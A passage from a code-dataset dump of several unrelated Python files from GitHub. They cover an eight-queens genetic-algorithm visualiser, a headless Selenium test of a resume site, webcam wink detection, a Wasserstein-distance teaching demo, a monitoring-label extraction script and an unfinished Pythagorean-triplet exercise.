    \")\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"nazarukiv/testProject","sub_path":"split_msg.py","file_name":"split_msg.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"12666314559","text":"import pylab as pl\nimport numpy as np\nfrom numpy import ndarray\nimport time\nimport random\n\n__author__ = \"Lech Szymanski\"\n__email__ = \"lechszym@cs.otago.ac.nz\"\n\n\nclass chess_board:\n \n def __init__(self):\n #Create a new figure\n self.plfig=pl.figure(dpi=100)\n #Create a new subplot\n self.plax = self.plfig.add_subplot(111)\n #Create bitmap for the chessboard\n b = np.matrix('1 0 1 0 1 0 1 0; 0 1 0 1 0 1 0 1;1 0 1 0 1 0 1 0; 0 1 0 1 0 1 0 1;1 0 1 0 1 0 1 0; 0 1 0 1 0 1 0 1;1 0 1 0 1 0 1 0; 0 1 0 1 0 1 0 1');\n #Plot the chessboard\n self.plax.matshow(b, cmap=pl.cm.gray)\n pl.ion()\n pl.show() \n self.scatter_handle = []\n\n #Show state of the b (encoded as an array of 8 queens with position\n #from the bottom of the board in oardeach column)\n def show_state(self,c):\n if self.scatter_handle:\n self.scatter_handle.remove()\n #The queens are shown as red dots on the chessboard\n self.scatter_handle = self.plax.scatter(x=[0,1,2,3,4,5,6,7],y=[8-i for i in c], s=40, c='r')\n self.plfig.canvas.draw()\n\n\n # def crossover(self, parents):\n # father, mother = parents\n # index1 = random.randint(1, len(self.target)-2)\n # index2 = random.randint(1, len(self.target)-2)\n # if index1 > index2: index1, index2 = index2, index1\n # child1 = father[:index1] + mother[index1:index2] + father[index2:]\n # child2 = mother[:index1] + father[index1:index2] + mother[index2:]\n # return(child1)\n\n def crossover(self, parent1, parent2):\n r = random.Random()\n crossover_index = r.randint(0, 8) # choose random crossover point\n\n left = parent1[0:crossover_index]\n right = parent2[crossover_index:8]\n left.extend(right)\n return left #returns new offspring chromosome\n\n\n def fitness(self, parent):\n #for loop to check that all the numbers in the parent are different to make sure none of the queens take each\n #other. (still can diagonal)\n fitness = len(np.unique(parent))\n return fitness\n\n\n\n\n\nif __name__ == '__main__':\n #Close any open figures, and start a new one\n pl.close('all')\n #Create instance of chess board visualisation\n board = chess_board()\n parentList = ndarray((500,),int)\n\n #Show 5 different random queen distributions\n for i in range(0, 500):\n #Generate a random queen distribution - 8 integers in range 1-8\n c=np.random.randint(1, 8, 8)\n\n #Show the new state\n #print(c)\n parentList[i] = board.fitness(c) #returns number of unique elements\n board.show_state(c)\n\n print(board.crossover(c, c))\n\n #print(parentList[i])\n #board.show_state(c)\n #print(\"unique!\")\n\n # p= np.append(c)\n\n #choose two parents from p to crossover\n #Pause for 2 seconds\n time.sleep(0.005)\n pl.pause(0.005)\n\n # print(board.crossover(parentList[np.random.randint(1,500)], parentList[np.random.randint(1,500)]))\n","repo_name":"mikathesmith/ArtifcialIntelligence","sub_path":"Lab6/eight_queens_visualiser.py","file_name":"eight_queens_visualiser.py","file_ext":"py","file_size_in_byte":3061,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"36551897952","text":"#!/usr/bin/python3.9\nimport pytest\nfrom selenium import webdriver\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom webdriver_manager.core.utils import ChromeType\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.firefox.options import Options as FirefoxOptions\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nchrome_options = Options()\noptions = [\n \"--headless\",\n \"--disable-gpu\",\n \"--window-size=1920,1200\",\n \"--ignore-certificate-errors\",\n \"--disable-extensions\",\n \"--no-sandbox\",\n \"--disable-dev-shm-usage\",\n \"--enable-javascript\",\n '--user-agent=\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36\"'\n]\nfor option in options:\n chrome_options.add_argument(option)\n#chrome_options.add_argument('--disable-blink-features=AutomationControlled')\nfirefox_options = FirefoxOptions()\nfirefox_options.add_argument('--headless')\ndef test_site():\n# driver_path = ChromeDriverManager(chrome_type=ChromeType.CHROMIUM).install()\n chrome_service = Service(ChromeDriverManager(chrome_type=ChromeType.CHROMIUM).install())\n browser = webdriver.Chrome(service=chrome_service, options=chrome_options)\n# wait = WebDriverWait(browser, timeout=10).until(lambda d: d.find_element(By.CLASS_NAME, \"website-counter\").get_attribute(\"value\") >= 0)\n browser.implicitly_wait(10)\n browser.get(\"https://www.mitchbounds.com\")\n# wait = WebDriverWait(browser, timeout=5).until(lambda d: d.find_element(By.CLASS_NAME, \"website-counter\").get_attribute(\"value\") >= 0)\n print(browser.find_element(By.CLASS_NAME, \"website-counter\").get_attribute(\"outerHTML\"))\n print(browser.page_source)\n browser.quit()\n\n browser = webdriver.Firefox(options=firefox_options)\nif __name__ == \"__main__\":\n test_site()\n print(\"Everything passed\") \n","repo_name":"mitchisawesom3/resume-site","sub_path":"__tests__/check_site.py","file_name":"check_site.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"8944756222","text":"from typing import get_args\nimport cv2\nimport sys\nimport numpy as np\nfrom pyautogui import screenshot\n\n# TO DO: Make this a function. Make main.py after pdf gets sorted out, then send frame to this function and return eye coordinates.\neyeCascade = cv2.CascadeClassifier('./haarcascade_eye_2.xml')\nfaceCascade = cv2.CascadeClassifier('./haarcascade_frontalface_default.xml')\n\nvideo_capture = cv2.VideoCapture(0)\n\n\nclass Buffer:\n def __init__(self, size):\n self.size = size\n self.buffer_list = []\n\n def append(self, value):\n if len(self.buffer_list) >= self.size:\n self.buffer_list.pop(0)\n # print(\"adding\", value)\n self.buffer_list.append(value)\n\n\nclass WinkDetectionBuffer(Buffer):\n def __init__(self, size):\n Buffer.__init__(self,size)\n self.wait_for_open = False\n\n def get_right_eye(self):\n return list(map(lambda state: state[0],self.buffer_list))\n \n def get_left_eye(self):\n return list(map(lambda state: state[1],self.buffer_list))\n \n def empty(self):\n self.buffer_list = []\n\n def check_wink(self):\n if self.wait_for_open and ((True, True) in self.buffer_list):\n self.wait_for_open = False\n\n if self.wait_for_open:\n self.empty()\n return False\n\n if len(self.buffer_list) < self.size:\n return False\n\n print(any(self.get_left_eye()))\n if (\n (any(self.get_left_eye()) and (not any(self.get_right_eye()))) or \n (any(self.get_right_eye()) and (not any(self.get_left_eye())))\n ): \n print(\"Winkings\")\n self.empty()\n self.wait_for_open = True\n return True\n\nclass EyeTrackingBuffer(Buffer):\n\n def __init__(self, size):\n Buffer.__init__(self,size)\n self.initial_value = False\n self.min_value = 0\n self.max_value = 0\n\n def append(self, value):\n # print(\"value: \", value)\n # if self.initial_value and self.value > self.max_value:\n # print(\"DOWN\") \n # elif self.initial_value and self.value < self.min_value:\n # print(\"UP\")\n # else: \n # print(\"STRAIT\")\n save_initial = False\n if (not self.initial_value) and len(self.buffer_list) == self.size - 1:\n self.initial_value = True\n save_initial = True\n Buffer.append(self,value)\n if save_initial:\n s = sorted(self.buffer_list)\n self.min_value = s[int(self.size/2)] + 0.15\n self.max_value = s[int(self.size/2)] + 0.15\n print(self.min_value)\n print(self.max_value)\n self.initial_value = False\n\n def get_avg(self):\n new_list = self.buffer_list[int(self.size/2):]\n avg = sum(new_list) / self.size/2\n return avg\n\n def check_orientation(self):\n if not self.initial_value:\n return 0\n avg = self.get_avg()\n if avg > self.max_value:\n return 1\n if avg > self.max_value:\n return -1\n return 0\n \n\nbuffers = [EyeTrackingBuffer(10), EyeTrackingBuffer(10)]\nwink_detection_buffer = WinkDetectionBuffer(5)\n\ndef which_eye(eye_x, eye_w, face_w):\n if eye_x + 0.5 * eye_w > (face_w / 2):\n print(\"right\")\n return 0\n else:\n print(\"left\")\n return 1\n\n\n\ndef detect_eye(window):\n # Capture frame-by-frame\n ret, frame = video_capture.read()\n\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n faces = faceCascade.detectMultiScale(\n gray,\n scaleFactor=1.1,\n minNeighbors=5,\n minSize=(30, 30),\n flags=cv2.CASCADE_SCALE_IMAGE)\n area=[]\n fc=[0,0,500,500]\n xe=0\n ye=0\n #print type(faces)\n for (x,y,w,h) in faces:\n area.append(([x,y,w,h],h*w))\n cv2.rectangle(frame, (0,0), (1280,720), (0, 255, 0), 2)\n cv2.rectangle(frame, (0,0), (900,900), (0, 255, 0), 2)\n cv2.rectangle(frame, (x,y), (x+w,y+h), (255,0,0), 2)\n # cv2.rectangle(frame, (0,y_wind-1100), (200,y_wind-900), (0, 255, 0), 2)\n #f2=frame[y:y+h,x:x+w]\n left_eye_detected = False\n right_eye_detected = False\n if area:\n result0 = buffers[0].check_orientation()\n result1 = buffers[1].check_orientation()\n # if result0 == 1:\n # print(\"0 => UP\")\n # elif result0 == -1:\n # print(\"0 => DOWN\")\n # else:\n # print(\"0 => STRAIT\")\n\n # if result1 == 1:\n # print(\"1 => UP\")\n # elif result1 == -1:\n # print(\"1 => DOWN\")\n # else:\n # print(\"1 => STRAIT\")\n\n if wink_detection_buffer.check_wink():\n shot = screenshot()\n shot.save(r\"screenshot.jpg\")\n face_tracked=sorted(area,key=lambda x:x[1],reverse=True)[0][0]\n face_gray=gray[face_tracked[1]:face_tracked[1]+face_tracked[3],face_tracked[0]:face_tracked[0]+face_tracked[2]]\n eyes = eyeCascade.detectMultiScale(\n face_gray,\n scaleFactor=1.1,\n minNeighbors=5,\n minSize=(30, 30),\n flags=cv2.CASCADE_SCALE_IMAGE)\n \n for (x, y, w, h) in eyes:\n eye_index = which_eye(x, w, face_tracked[2])\n if eye_index == 0:\n print(\"left\")\n left_eye_detected = True\n if eye_index == 1:\n print(\"right\")\n right_eye_detected = True\n\n eye_center_according_to_face = face_tracked[3] / int(y + (0.5 * h)) # Center coordinates\n print(\"eye_index: \", eye_index, )\n print(\"eye_center_according_to_face: \", eye_center_according_to_face)\n if eye_center_according_to_face > 2.7:\n print(\"DOWN\")\n if eye_center_according_to_face < 2.55:\n print(\"UP\")\n \n buffers[eye_index].append(eye_center_according_to_face)\n\n xe=x+w/2\n ye=y+h/2\n cv2.circle(frame, (int(xe+face_tracked[0]),int(ye+face_tracked[1])),2, (0,255,0),2)\n if not len(eyes)==0:\n xe=xe/len(eyes)+face_tracked[0]\n ye=ye/len(eyes)+face_tracked[1]\n #cv2.circle(frame, (xe,ye),2, (0,255,0),8)\n xf=face_tracked[0]+face_tracked[2]/2\n yf=face_tracked[1]+face_tracked[3]/3\n #print xf,yf\n # Display the resulting frame\n if right_eye_detected or left_eye_detected:\n print(wink_detection_buffer.buffer_list)\n wink_detection_buffer.append((right_eye_detected, left_eye_detected))\n cv2.imshow('frame', frame)\n #f3=frame[fc[0]:fc[0]+fc[2],fc[1]:fc[1]+fc[3]]\n #cv2.namedWindow('frame2', cv2.WINDOW_NORMAL)\n #cv2.imshow('frame2', f3)\n\n","repo_name":"allonios/pdf-viewer","sub_path":"IrisDetetion02.py","file_name":"IrisDetetion02.py","file_ext":"py","file_size_in_byte":6729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"37500152629","text":"\"\"\"\nA script to demonstrate the Wasserstein metric as a measure of dissimilarity.\n\nauthor: Fabrizio Musacchio (fabriziomusacchio.com)\ndate: July 20, 2023\n\n\nACKNOWLEDGEMENT:\nThe code of DEMO 1 is taken and modified from POT documentation:\nhttps://pythonot.github.io/auto_examples/others/plot_screenkhorn_1D.html#screened-optimal-transport-screenkhorn\nwritten by Author: Mokhtar Z. Alaya (License: MIT License). \nAlso the plot1D_mat() function of DEMO 1 is taken from the POT library.\n\"\"\"\n# %% IMPORTS\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport ot.plot\nfrom ot.datasets import make_1D_gauss as gauss\nfrom ot.bregman import screenkhorn\nfrom matplotlib import gridspec\nfrom scipy.stats import wasserstein_distance\n# check, whether there is a folder \"images\" in the current directory,otherwise create it:\nimport os\nif not os.path.exists('images'):\n os.makedirs('images')\n# %% DEMO 1\n\n# generate the distributions:\nn = 100 # nb bins\nx = np.arange(n, dtype=np.float64) # bin positions\na = gauss(n, m=20, s=5) # m= mean, s= std\nb = gauss(n, m=60, s=10)\n\n# calculate the cost/loss matrix:\nM = ot.dist(x.reshape((n, 1)), x.reshape((n, 1)), metric='sqeuclidean')\n\"\"\"\not.dist() calculates the cost matrix, which is a matrix of all pairwise distances \nbetween the points in the source/target distributions. By default, the squared\nEucledian distance is used. When just computing Euclidean distance, the function\nbecomes equivalent to:\n\nM = np.abs(x[:, np.newaxis] - x[np.newaxis, :])\n\"\"\"\n\nM /= M.max()\n\ndef plot1D_mat(a, b, M, title=''):\n r\"\"\" Plot matrix :math:`\\mathbf{M}` with the source and target 1D distribution\n \n Creates a subplot with the source distribution :math:`\\mathbf{a}` on the left and\n target distribution :math:`\\mathbf{b}` on the top. The matrix :math:`\\mathbf{M}` is shown in between.\n\n Modified function from the POT library.\n\n Parameters:\n ----------\n a : ndarray, shape (na,)\n Source distribution\n b : ndarray, shape (nb,)\n Target distribution\n M : ndarray, shape (na, nb)\n Matrix to plot\n \"\"\" \n na, nb = M.shape\n\n gs = gridspec.GridSpec(3, 3)\n\n xa = np.arange(na)\n xb = np.arange(nb)\n\n ax1 = plt.subplot(gs[0, 1:])\n plt.plot(xb, b, c=\"#E69F00\", label='Target\\ndistribution', lw=2)\n #plt.xticks(())\n # remove top axis:\n ax1.spines['top'].set_visible(False)\n ax1.spines['right'].set_visible(False)\n #ax1.spines['bottom'].set_visible(False)\n # hide the xticks:\n #ax1.set_xticks(())\n # set the ylimit to the max of the two distributions:\n plt.ylim((0, max(max(a), max(b))))\n # make axis thicker:\n ax1.spines['left'].set_linewidth(1.5)\n ax1.spines['bottom'].set_linewidth(1.5)\n plt.legend(fontsize=8)\n #plt.title(title)\n\n ax2 = plt.subplot(gs[1:, 0])\n plt.plot(a, xa, c=\"#0072B2\", label='Source\\ndistribution', lw=2)\n plt.xlim((0, max(max(a), max(b))))\n # set the same y ticks as the other plot:\n plt.xticks(ax1.get_yticks())\n plt.gca().invert_xaxis()\n plt.gca().invert_yaxis()\n ax2.spines['top'].set_visible(False)\n ax2.spines['right'].set_visible(False)\n #ax2.spines['left'].set_visible(False)\n #plt.xticks(())\n # make axis thicker:\n ax2.spines['left'].set_linewidth(1.5)\n ax2.spines['bottom'].set_linewidth(1.5)\n plt.legend(fontsize=8)\n\n plt.subplot(gs[1:, 1:], sharex=ax1, sharey=ax2)\n plt.imshow(M, interpolation='nearest', cmap=\"plasma\")\n # show only bottom and right axis:\n ax = plt.gca()\n #ax.spines['top'].set_visible(False)\n #ax.spines['left'].set_visible(False)\n #ax.yaxis.set_ticks_position('right')\n # show y axis on the right\n plt.axis('off')\n plt.text(xa[-1:], 0.5, title, horizontalalignment='right', verticalalignment='top', \n color='white', fontsize=12, fontweight=\"bold\")\n plt.xlim((0, nb))\n plt.tight_layout()\n plt.subplots_adjust(wspace=0., hspace=0.2)\n\n# plot distributions:\nplt.figure(1, figsize=(6.4, 3))\nplt.plot(x, a, c=\"#0072B2\", label='Source distribution', lw=3)\nplt.plot(x, b, c=\"#E69F00\", label='Target distribution', lw=3)\nax = plt.gca()\nax.spines['top'].set_visible(False)\nax.spines['right'].set_visible(False)\n# make axis thicker:\nax.spines['left'].set_linewidth(2)\nax.spines['bottom'].set_linewidth(2)\n# make xticks thicker:\nax.tick_params(axis='x', which='major', width=2)\nax.tick_params(axis='y', which='major', width=2)\n# make fontsize of ticks bold:\nax.tick_params(axis='both', which='major', labelsize=12)\nplt.legend()\nplt.tight_layout()\nplt.savefig('images/wasserstein_distributions.png', dpi=200)\nplt.show()\n\n# plot distributions and loss matrix:\nplt.figure(2, figsize=(5, 5))\nplot1D_mat(a, b, M, 'Cost matrix\\nC$_{i,j}$')\nplt.savefig('images/wasserstein_cost_matrix.png', dpi=200)\nplt.show()\n\n# solve transport plan problem:\nG = ot.emd(a, b, M)\n\n# solve Screenkhorn:\n#lambd = 2e-03 # entropy parameter\n#ns_budget = 30 # budget number of points to be keept in the source distribution\n#nt_budget = 30 # budget number of points to be keept in the target distribution\n#G = screenkhorn(a, b, M, lambd, ns_budget, nt_budget, uniform=False, restricted=True, verbose=True)\n\n# solve Sinkhorn:\n#epsilon = 1e-3\n#G = ot.sinkhorn(a, b, M, epsilon, verbose=False)\n\nplt.figure(3, figsize=(5, 5))\nplot1D_mat(a, b, G, 'Optimal transport\\nmatrix G$_{i,j}$')\nplt.savefig('images/wasserstein_optimal_transport.png', dpi=200)\nplt.show()\n\n# the wasserstein distance is according W(P, Q) = \\sum_i \\sum_j (\\gamma_{ij} * c_{ij}):\nw_dist = np.sum(G * M)\nprint(f\"Wasserstein distance W_1 (manual): {w_dist}\")\n# %% TEST DIFFERENT COST MATRICES\ndef plot_cost_and_transport_matrices(M, G, cost_metric=''):\n # plot the two matrices side by side:\n fig, ax = plt.subplots(1, 2, figsize=(10, 5))\n ax[0].imshow(M, cmap='plasma')\n ax[0].axis('off')\n ax[0].text(M.shape[0]-0.5, 0.5, f\"Cost matrix M\\nbased on {cost_metric}\", horizontalalignment='right', verticalalignment='top', \n color='white', fontsize=16, fontweight=\"bold\")\n ax[1].imshow(G, cmap='plasma')\n ax[1].text(M.shape[0]-0.5, 0.5, \"Optimal transport\\nmatrix G\", horizontalalignment='right', verticalalignment='top', \n color='white', fontsize=16, fontweight=\"bold\")\n ax[1].axis('off')\n \n # set a global title for the entire figure:\n #plt.suptitle(title, fontsize=16, fontweight=\"bold\")\n plt.tight_layout()\n plt.savefig(f'images/wasserstein_{cost_metric}.png', dpi=200)\n\n# squared Euclidean distance:\nM = ot.dist(x.reshape((n, 1)), x.reshape((n, 1)), metric='sqeuclidean')\nM /= M.max()\nG = ot.emd(a, b, M)\nplot_cost_and_transport_matrices(M, G, cost_metric='squared\\nEuclidean distance')\nw_dist = np.sum(G * M)\nprint(f\"Wasserstein distance (squared Euclidean): {w_dist}\")\n\n# Euclidean distance:\nM = ot.dist(x.reshape((n, 1)), x.reshape((n, 1)), metric='euclidean')\nM /= M.max()\nG = ot.emd(a, b, M)\nplot_cost_and_transport_matrices(M, G, cost_metric='Euclidean distance')\nw_dist = np.sum(G * M)\nprint(f\"Wasserstein distance (Euclidean): {w_dist}\")\n\n# dice distance:\nM = ot.dist(x.reshape((n, 1)), x.reshape((n, 1)), metric='jaccard')\nM /= M.max()\nG = ot.emd(a, b, M)\nplot_cost_and_transport_matrices(M, G, cost_metric='Jaccard distance')\nw_dist = np.sum(G * M)\nprint(f\"Wasserstein distance (jaccard): {w_dist}\")\n\n# dice distance:\nM = ot.dist(x.reshape((n, 1)), x.reshape((n, 1)), metric='canberra')\nM /= M.max()\nG = ot.emd(a, b, M)\nplot_cost_and_transport_matrices(M, G, cost_metric='canberra distance')\nw_dist = np.sum(G * M)\nprint(f\"Wasserstein distance (Canberra): {w_dist}\")\n# %% WASSERSTEIN METRIC AS DISSIMILARITY MEASURE (CONTINUOUS GAUSSIAN DISTRIBUTIONS)\nn=1000\nx=np.linspace(-10, 10, n)\n\n# define Gaussian function:\ndef my_gauss(x, m, s):\n return np.exp(-((x - m) ** 2) / (2 * s ** 2)) / (s * np.sqrt(2 * np.pi))\n\n# define a function with two gaussian peaks:\ndef my_gauss_mixt(x, m1, m2, s1, s2):\n return 0.5*my_gauss(x, m1, s1)+0.5*my_gauss(x, m2, s2)\n\n# define distribution plot function:\ndef plot_distributions(x, a, b, a_label=\"source distribution\", \n b_label=\"target distribution\", title=\"\", plot_title=\"dist\"):\n plt.figure(1, figsize=(6.4, 3))\n plt.plot(x, a, c=\"#0072B2\", label=a_label, lw=3)\n plt.plot(x, b, c=\"#E69F00\", label=b_label, lw=3, ls='--')\n ax = plt.gca()\n ax.spines['top'].set_visible(False)\n ax.spines['right'].set_visible(False)\n ax.spines['left'].set_linewidth(2)\n ax.spines['bottom'].set_linewidth(2)\n ax.tick_params(axis='x', which='major', width=2)\n ax.tick_params(axis='y', which='major', width=2)\n ax.tick_params(axis='both', which='major', labelsize=12)\n plt.legend()\n plt.title(title)\n plt.tight_layout()\n plt.savefig('images/'+plot_title+'.png', dpi=200)\n plt.show()\n\n# define main executable function:\ndef calc_and_plot_distributions(x, m1=1, m2=1, s1=1, s2=1):\n \"\"\" m1, m2 = 20, 20\n s1, s2 = 5,5 \"\"\"\n a = my_gauss(x, m=m1, s=s1)\n b = my_gauss(x, m=m2, s=s2)\n a_label = f\"source ($\\mu$={m1}, $\\sigma$={s1})\"\n b_label = f\"target ($\\mu$={m2}, $\\sigma$={s2})\"\n w_dist = wasserstein_distance(a, b)\n print(f\"Wasserstein distance (scipy): {w_dist}\")\n print(f\"Wasserstein distance W_1 (POT): {ot.wasserstein_1d(a, b, p=1)}\")\n plot_distributions(x, a, b, a_label, b_label, title=f\"Wasserstein distance: {w_dist}\",\n plot_title=f\"dist_m1_{m1}_m2_{m2}_s1_{s1}_s2_{s2}\")\n\ndef calc_and_plot_distributions2(x, m1=1, m2=1, m3=1, s1=1, s2=1, s3=1):\n a = my_gauss(x, m=m1, s=s1)\n b = my_gauss_mixt(x, m1=m2, m2=m3, s1=s2, s2=s3)\n a_label = f\"source ($\\mu$={m1}, $\\sigma$={s1})\"\n b_label = f\"target ($\\mu_1$={m2}, $\\sigma_1$={s2} & $\\mu_2$={m3}, $\\sigma_2$={s3})\"\n w_dist = wasserstein_distance(a, b)\n print(f\"Wasserstein distance (scipy): {w_dist}\")\n print(f\"Wasserstein distance W_1 (POT): {ot.wasserstein_1d(a, b, p=1)}\")\n plot_distributions(x, a, b, a_label, b_label, title=f\"Wasserstein distance: {w_dist}\",\n plot_title=f\"dist_m1_{m1}_m2_{m2}_m3_{m3}_s1_{s1}_s2_{s2}_s3_{s3}\")\n\n# increasing mu:\ncalc_and_plot_distributions(x, m1=0, m2=0, s1=1, s2=1)\ncalc_and_plot_distributions(x, m1=0, m2=1, s1=1, s2=1)\ncalc_and_plot_distributions(x, m1=0, m2=2, s1=1, s2=1)\ncalc_and_plot_distributions(x, m1=0, m2=4, s1=1, s2=1)\ncalc_and_plot_distributions(x, m1=0, m2=5, s1=1, s2=1)\n\"\"\"\nThe two distributions are identical, but shifted apart along the \\mu/x-axis.\nHere, the Wasserstein distance expresses the \"dissimilarity\" between the two distributions\nwith regard to this shift. Since the distributions are still quite similar (identical), \nthe Wasserstein distance is very small, i.e., shifting two identical distributions\nagainst each other doesn't change theirs Wasserstein similarity that much.\n\"\"\"\n\n# increasing sigma:\ncalc_and_plot_distributions(x, m1=0, m2=0, s1=1, s2=1)\ncalc_and_plot_distributions(x, m1=0, m2=0, s1=1, s2=2)\ncalc_and_plot_distributions(x, m1=0, m2=1, s1=1, s2=2)\ncalc_and_plot_distributions(x, m1=0, m2=2, s1=1, s2=2)\ncalc_and_plot_distributions(x, m1=0, m2=4, s1=1, s2=2)\n\ncalc_and_plot_distributions(x, m1=0, m2=0, s1=1, s2=1)\ncalc_and_plot_distributions(x, m1=0, m2=0, s1=1, s2=3)\ncalc_and_plot_distributions(x, m1=0, m2=1, s1=1, s2=3)\ncalc_and_plot_distributions(x, m1=0, m2=2, s1=1, s2=3)\ncalc_and_plot_distributions(x, m1=0, m2=4, s1=1, s2=3)\n\"\"\"\nThe increase of the standard deviation of the target distribution increases \nthe Wasserstein distance, while still the increase of \\mu has no noticeable effect\non the distance.\n\"\"\"\n\n\n# two at first glance different distributions can have the same wasserstein distance:\ncalc_and_plot_distributions(x, m1=0, m2=0, s1=1, s2=2)\ncalc_and_plot_distributions2(x, m1=0, m2=-2, m3=2, s1=1, s2=1, s3=1)\n\"\"\"\nThe Wasserstein distance between two normal Gaussian distributions with $\\mu_1=\\mu2$ and\n$\\sigma_2=2\\sigma_1$ is the same as for one normal Gaussian ($\\mu_1, \\sigma_2$) and a \ndouble peaked Gaussian with $\\sigma_2+\\sigma_3=\\sigma_1$. The reason for is that\nwe have created the two-peaked distribution by adding two normal distributions, while\nstill keeping the resulting distribution normalized (the area under the curve is 1 for\nthe chosen set of $\\mu_i$ and $\\sigma_i$). And this is independent of how far the\ntwo peaks are apart from each other or how far the barycenter of the two peaks is\napart from $\\mu_1$.\n\"\"\"\ncalc_and_plot_distributions(x, m1=0, m2=0, s1=1, s2=2)\ncalc_and_plot_distributions2(x, m1=0, m2=-2+2, m3=2+2, s1=1, s2=1, s3=1)\ncalc_and_plot_distributions2(x, m1=0, m2=-3, m3=4, s1=1, s2=1, s3=1)\n# %% 2D DISTRIBUTIONS\n\n# generate some toy data:\nn = 50 # nb samples\nm1 = np.array([0, 0])\nm2 = np.array([4, 4])\ns_1 = 1\ns_2 = 3\ncov1 = np.array([[s_1, 0], [0, s_1]])\ncov2 = np.array([[s_2, 0], [0, s_2]])\nnp.random.seed(0)\nxs = ot.datasets.make_2D_samples_gauss(n, m1, cov1)\nnp.random.seed(0)\nxt = ot.datasets.make_2D_samples_gauss(n, m2, cov2)\na, b = np.ones((n,)) / n, np.ones((n,)) / n # uniform distribution on samples\n\n# loss matrix:\nM = np.sum((xs[:, np.newaxis, :] - xt[np.newaxis, :, :]) ** 2, axis=-1)\n#M = ot.dist(xs, xt, metric='sqeuclidean')\n\"\"\"Note, that ot.dist() introduces some rounding errors, which may lead to\nmiss interpretation of the results.\"\"\"\nM /= M.max()\n\n# transport plan:\nG0 = ot.emd(a, b, M)\n\n# Wasserstein distance:\nw_dist = np.sum(G0 * M)\nprint(f\"Wasserstein distance: {w_dist}\")\n\nfig, ax = plt.subplots(1, 3, figsize=(10, 3.5))\n# plot the distributions:\nplt.subplot(1, 3, 1, aspect='equal')\not.plot.plot2D_samples_mat(xs, xt, G0, c=\"lightsteelblue\")\n\"\"\"\nPlot lines between source and target 2D samples with a color proportional to \nthe value of the matrix G0 between samples.\n\"\"\"\nplt.plot(xs[:, 0], xs[:, 1], '+', label=f'Source (random normal,\\n $\\mu$={m1}, $\\sigma$={s_1})')\nplt.plot(xt[:, 0], xt[:, 1], 'x', label=f'Target (random normal,\\n $\\mu$={m2}, $\\sigma$={s_2})')\nplt.legend(loc=0, fontsize=8)\nplt.xlabel('x')\nplt.ylabel('y')\nplt.tight_layout()\nplt.xlim(-10, 10)\nplt.ylim(-10, 10)\nplt.title(f'Source and target distributions\\nWasserstein distance: {w_dist}')\n\n# plot the loss/cost matrix:\nplt.subplot(1, 3, 2)\nplt.imshow(M, cmap='plasma')\nplt.xlabel(\"i\")\nplt.ylabel(\"j\")\nplt.title('Cost matrix C$_{i,j}$')\n\n# plot the optimal transport plan:\nplt.subplot(1, 3, 3)\nplt.imshow(G0, cmap='plasma')\nplt.xlabel(\"i\")\nplt.ylabel(\"j\")\nplt.title('Optimal transport matrix G$_{i,j}$')\n\nplt.tight_layout()\nplt.savefig(f'images/wasserstein_2D_m1_{m1[0]}_{m1[1]}_m2_{m2[0]}_{m2[1]}_s1_{cov1[0,0]}_{cov1[0,1]}_s2_{cov2[0,0]}_{cov2[0,1]}.png', dpi=200)\nplt.show()\n\n\n# %% END\n","repo_name":"FabrizioMusacchio/Wasserstein_distance_demo","sub_path":"wasserstein_metric_demo.py","file_name":"wasserstein_metric_demo.py","file_ext":"py","file_size_in_byte":14597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"20143409137","text":"# call: python extract_labels.py \n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom examon.examon import ExamonQL\nimport pandas as pd\nimport sys\nfrom dateutil.parser import parse\n\nfrom my_lib import examon_utils as eu\nfrom my_lib import nagios_sampling as ns\n\n# Function call arguments\nt_start = '18-10-2019 10:00:00' if len(sys.argv) < 2 else sys.argv[1].replace(\"_\", \" \")\nt_stop = '11-11-2019 10:00:00' if len(sys.argv) < 3 else sys.argv[2].replace(\"_\", \" \")\ntarget_node = 'r076c08s03' if len(sys.argv) < 4 else sys.argv[3]\naggregation_minutes = 5 if len(sys.argv) < 5 else int(sys.argv[4])\nwrite_path = './raw_data/{}'.format(target_node) if len(sys.argv) < 6 else sys.argv[5]\n\n# Print info\nprint(\"------- extract_labels.py -------\")\nprint(\"start_time: \", t_start)\nprint(\"stop_time: \", t_stop)\nprint(\"aggregation_minutes: \", aggregation_minutes)\nprint(\"file_to_write: \", write_path)\nprint('target_node: ', target_node)\n\n# # Create Examon connection\nprint(\"\\ncreating examon connection..\")\nsq = eu.create_examon_connection()\n\n# Extract labels\nprint(\"extracting labels..\\n\")\nraw_data = ns.extract_data_from_nagios(sq, target_node, t_start, t_stop, aggregation_minutes=aggregation_minutes)\n\n# Write results to csv file\nprint(\"\\nsaving result on csv file..\", flush=True)\nraw_data.to_csv(\"{}/labels.csv\".format(write_path), index=False)\nprint(\"--- DONE --- \", flush=True)\n","repo_name":"tommyliverani/ExamonDataExtraction","sub_path":"examon-client-feature-newapi_py3/extract_labels.py","file_name":"extract_labels.py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"40811873418","text":"# a^2 + b^2 = c^2 a+b+c = 1000 3^2 + 4^2 = 9+16 = 25 = 5^2\n\nimport math\n\ndef is_int(input):\n return input-int(input)==0\n\nfor a in range (1,1000):\n for b in range (1,1000):\n k = a**2 + b**2\n c = math.sqrt(k)\n\n if is_int(c) and a+b+c==1000:\n # if isinstance(j, int) == True:\n # these are not working because the type is float regardless of decimal places\n # I need some way to say 'if c is whole number then proceed'\n product = 